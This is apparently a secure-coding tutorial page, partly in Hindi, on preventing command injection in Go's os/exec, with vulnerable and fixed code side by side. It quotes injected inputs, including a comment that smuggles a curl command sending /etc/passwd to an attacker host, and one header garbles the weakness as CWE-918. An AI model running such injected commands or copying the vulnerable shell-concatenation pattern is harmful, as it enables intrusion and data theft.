flawopen.com/command-injection/Go
Learn how to fix Command Injection (CWE-78) in Go. Side-by-side vulnerable vs secure code examples for os/exec.Command() with argument lists.
कल्पना करें कि आप एक सहायक से 'report.pdf' नामक दस्तावेज़ प्रिंट करने के लिए कहते हैं। कमांड इंजेक्शन तब होता है जब कोई फ़ाइल नाम 'report.pdf; whoami' देता है, और सहायक पूरी पर्ची टर्मिनल क्लर्क को सौंप देता है, जिससे रिपोर्ट प्रिंट होने के साथ-साथ व्यवस्थापक का पहचान पत्र भी पढ़ लिया जाता है।
Web Application SecurityCWE-918.CWE-918CWE-918): Standard Common Weakness Enumeration classification for command-injection-go.Defense-in-Depthएप्लिकेशन सीधे HTTP अनुरोध से होस्टनाम, फ़ाइल नाम या इनपुट स्वीकार करता है।
बैकएंड सुरक्षित आर्ग्यूमेंट ऐरे के बजाय सीधे स्ट्रिंग जोड़कर शेल कमांड बनाता है।
हमलावर ';', '&&', '|' जैसे शेल मेटाकैरेक्टर (उदा. '127.0.0.1; id') डालकर कमांड बाउंड्री से बाहर निकलता है।
ऑपरेटिंग सिस्टम शेल वेब प्रोसेस के पूर्ण अधिकारों के साथ दुर्भावनापूर्ण कमांड निष्पादित करता है।
// Spawning bash explicitly to execute concatenated string
package main
import (
"os/exec"
)
func runBackup(target string) ([]byte, error) {
// Attacker input: "db; curl http://attacker.com/leak --data @/etc/passwd"
cmdStr := "tar -czf backup.tar.gz " + target
cmd := exec.Command("sh", "-c", cmdStr)
return cmd.Output()
}
// Calling tar directly without an intermediate shell
package main
import (
"os/exec"
)
func runBackup(target string) ([]byte, error) {
// target is passed strictly as a single filename argument
cmd := exec.Command("tar", "-czf", "backup.tar.gz", target)
return cmd.Output()
}